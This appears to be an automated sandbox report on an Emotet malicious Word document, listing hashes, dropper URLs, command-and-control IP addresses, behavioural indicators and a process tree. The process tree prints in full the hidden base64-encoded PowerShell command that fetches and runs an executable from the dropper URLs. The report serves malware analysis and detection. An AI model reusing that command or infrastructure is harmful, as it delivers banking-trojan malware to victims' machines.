emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
146s
max time network
100s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-14_224041.doc
Size

250KB
MD5

3b964c59175984dcb0406883111001ec
SHA1

74185c90df9928b4a9b5d1197d6b3bac0e6fdc20
SHA256

4573a3a4839a4fdd90b25e75cca22f9d997c9c83b730e46835c83ac0843bc1d9
SHA512

13741a2e099b05edc9c3e4fdf6b01c80c0572cff5adbab3fddbebf7fa77b96bfe6f6d3c6946344acb4d6bad31887b12414a1ff6b147e79a65d8113bda657164c

Score

10^/10

evasion spyware trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://uat.playquakewith.us/wp-admin/jks/

exe.dropper

http://panganobat.lipi.go.id/calendar/o04/

exe.dropper

http://pbs.onsisdev.info/wp-content/uploads/OBv44RS/

exe.dropper

https://pneuauto.dev.webdoodle.com.au/wp-includes/gTct/

exe.dropper

https://www.innovation4crisis.org/wp-admin/I/

Extracted

Family

emotet

68.172.243.146:80

64.40.250.5:80

81.17.92.70:80

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

37.139.21.175:8080

73.11.153.178:8080

192.241.255.77:8080

91.205.215.66:443

201.229.45.222:8080

46.105.131.87:80

188.0.135.237:80

78.142.114.69:80

64.53.242.181:8080

93.147.141.5:443

101.187.134.207:8080

72.189.57.105:80

190.117.126.169:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

WINWORD.EXE222.exe222.exefooterboost.exefooterboost.exe

pid process

1840 WINWORD.EXE
1840 WINWORD.EXE
1584 222.exe
1700 222.exe
1808 footerboost.exe
1816 footerboost.exe

pid	process
1840	WINWORD.EXE
1840	WINWORD.EXE
1584	222.exe
1700	222.exe
1808	footerboost.exe
1816	footerboost.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1984	1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1984 powershell.exe
Blacklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

4 1984 powershell.exe
6 1984 powershell.exe
8 1984 powershell.exe
10 1984 powershell.exe
12 1984 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1984	powershell.exe

flow	pid	process
4	1984	powershell.exe
6	1984	powershell.exe
8	1984	powershell.exe
10	1984	powershell.exe
12	1984	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exe222.exefooterboost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File renamed	C:\Users\Admin\222.exe => C:\Windows\SysWOW64\footerboost.exe	222.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	footerboost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1840 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exefooterboost.exe

pid process

1984 powershell.exe
1984 powershell.exe
1984 powershell.exe
1816 footerboost.exe
Executes dropped EXE 4 IoCs

Processes:

222.exe222.exefooterboost.exefooterboost.exe

pid process

1584 222.exe
1700 222.exe
1808 footerboost.exe
1816 footerboost.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

222.exefooterboost.exe

pid process

1700 222.exe
1816 footerboost.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

pid	process
1840	WINWORD.EXE

pid	process
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1816	footerboost.exe

pid	process
1584	222.exe
1700	222.exe
1808	footerboost.exe
1816	footerboost.exe

pid	process
1700	222.exe
1816	footerboost.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F3BBBFA5-19F4-4F52-817F-48599D416073}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{F3BBBFA5-19F4-4F52-817F-48599D416073}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F3BBBFA5-19F4-4F52-817F-48599D416073}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F3BBBFA5-19F4-4F52-817F-48599D416073}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{F3BBBFA5-19F4-4F52-817F-48599D416073}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

powershell.exe222.exefooterboost.exe

description	pid	process	target process
PID 1984 wrote to memory of 1584	1984	powershell.exe	222.exe
PID 1984 wrote to memory of 1584	1984	powershell.exe	222.exe
PID 1984 wrote to memory of 1584	1984	powershell.exe	222.exe
PID 1984 wrote to memory of 1584	1984	powershell.exe	222.exe
PID 1584 wrote to memory of 1700	1584	222.exe	222.exe
PID 1584 wrote to memory of 1700	1584	222.exe	222.exe
PID 1584 wrote to memory of 1700	1584	222.exe	222.exe
PID 1584 wrote to memory of 1700	1584	222.exe	222.exe
PID 1808 wrote to memory of 1816	1808	footerboost.exe	footerboost.exe
PID 1808 wrote to memory of 1816	1808	footerboost.exe	footerboost.exe
PID 1808 wrote to memory of 1816	1808	footerboost.exe	footerboost.exe
PID 1808 wrote to memory of 1816	1808	footerboost.exe	footerboost.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-14_224041.doc"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Modifies registry class
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABTAHMAZgB6AGUAeABzAGsAdAB0AHMAZgBpAD0AJwBLAGIAegBsAGYAZgB2AGYAJwA7ACQAVQBuAGoAdgB0AGMAbABiAGYAaQBwACAAPQAgACcAMgAyADIAJwA7ACQATABtAHMAZABwAHcAcgBxAHQAdQA9ACcAWABwAHUAZQBiAHQAcQBxAGwAZwBqACcAOwAkAFkAbAB3AG8AbABuAGkAbgBjAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAbgBqAHYAdABjAGwAYgBmAGkAcAArACcALgBlAHgAZQAnADsAJABKAGQAegBzAHcAbgB6AGIAPQAnAEcAcwBwAGUAdwBuAHIAYwBoAGkAJwA7ACQAVwBxAGoAYQB1AHQAawBuAHgAcwBoAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAGMAbABpAEUAbgBUADsAJABTAGsAawBxAGUAYwByAGUAYgB3AGgAcAA9ACcAaAB0AHQAcAA6AC8ALwB1AGEAdAAuAHAAbABhAHkAcQB1AGEAawBlAHcAaQB0AGgALgB1AHMALwB3AHAALQBhAGQAbQBpAG4ALwBqAGsAcwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAbgBnAGEAbgBvAGIAYQB0AC4AbABpAHAAaQAuAGcAbwAuAGkAZAAvAGMAYQBsAGUAbgBkAGEAcgAvAG8AMAA0AC8AKgBoAHQAdABwADoALwAvAHAAYgBzAC4AbwBuAHMAaQBzAGQAZQB2AC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8ATwBCAHYANAA0AFIAUwAvACoAaAB0AHQAcABzADoALwAvAHAAbgBlAHUAYQB1AHQAbwAuAGQAZQB2AC4AdwBlAGIAZABvAG8AZABsAGUALgBjAG8AbQAuAGEAdQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGcAVABjAHQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGkAbgBuAG8AdgBhAHQAaQBvAG4ANABjAHIAaQBzAGkAcwAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8ASQAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABWAGsAYQB1AGwAbwBoAGEAPQAnAEIAegBmAHMAcwB4AHcAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB5AHMAdQBwAHMAcAB0AGYAbgB4ACAAaQBuACAAJABTAGsAawBxAGUAYwByAGUAYgB3AGgAcAApAHsAdAByAHkAewAkAFcAcQBqAGEAdQB0AGsAbgB4AHMAaAAuACIARABvAFcAbgBsAG8AYABBAGAAZABGAGkAYABsAGUAIgAoACQAQwB5AHMAdQBwAHMAcAB0AGYAbgB4ACwAIAAkAFkAbAB3AG8AbABuAGkAbgBjAG0AKQA7ACQARQBlAG8AbQBsAHAAdQBjAHQAZQA9ACcAUQBoAGkAcAByAGMAYgBsAHUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABZAGwAdwBvAGwAbgBpAG4AYwBtACkALgAiAGwARQBOAGAAZwB0AEgAIgAgAC0AZwBlACAAMwA0ADYANQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAEEAUgBUACIAKAAkAFkAbAB3AG8AbABuAGkAbgBjAG0AKQA7ACQAUQBwAHkAZAB2AHUAZgB6AD0AJwBYAHIAdwBvAGkAdgB0AGYAJwA7AGIAcgBlAGEAawA7ACQAQQB0AGoAeQBrAGMAZgB1AD0AJwBSAGwAeABrAHYAdgByAHIAZwB6AHkAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABLAHEAcwBkAHQAZwByAG8AbQBlAGQAPQAnAFoAdABzAG8AawB0AG4AawBsACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Modifies system certificate store
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1984

C:\Users\Admin\222.exe
"C:\Users\Admin\222.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1584

C:\Users\Admin\222.exe
--78edad10
3⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:1700

C:\Windows\SysWOW64\footerboost.exe
"C:\Windows\SysWOW64\footerboost.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\SysWOW64\footerboost.exe
--b3389a3e
2⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:1816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1848298919-2336104428-4012071465-1000\0f5007522459c86e95ffcc62f32308f1_cb3421d8-e2c8-4b12-9d02-76148b2a4ecf

Download Submit
C:\Windows\SysWOW64\footerboost.exe

Download Submit
C:\Windows\SysWOW64\footerboost.exe

Download Submit
memory/1584-7-0x0000000000270000-0x0000000000287000-memory.dmp

Filesize
92KB

Download
memory/1700-11-0x0000000001CD0000-0x0000000001CE7000-memory.dmp

Filesize
92KB

Download
memory/1700-12-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1808-14-0x00000000004A0000-0x00000000004B7000-memory.dmp

Filesize
92KB

Download
memory/1816-16-0x00000000003D0000-0x00000000003E7000-memory.dmp

Filesize
92KB

Download
memory/1816-17-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1840-4-0x0000000007060000-0x0000000007260000-memory.dmp

Filesize
2.0MB

Download
memory/1840-3-0x0000000007060000-0x0000000007260000-memory.dmp

Filesize
2.0MB

Download
memory/1840-2-0x0000000008B10000-0x0000000008B14000-memory.dmp

Filesize
16KB

Download
memory/1840-0-0x0000000006D80000-0x0000000006E80000-memory.dmp

Filesize
1024KB

Download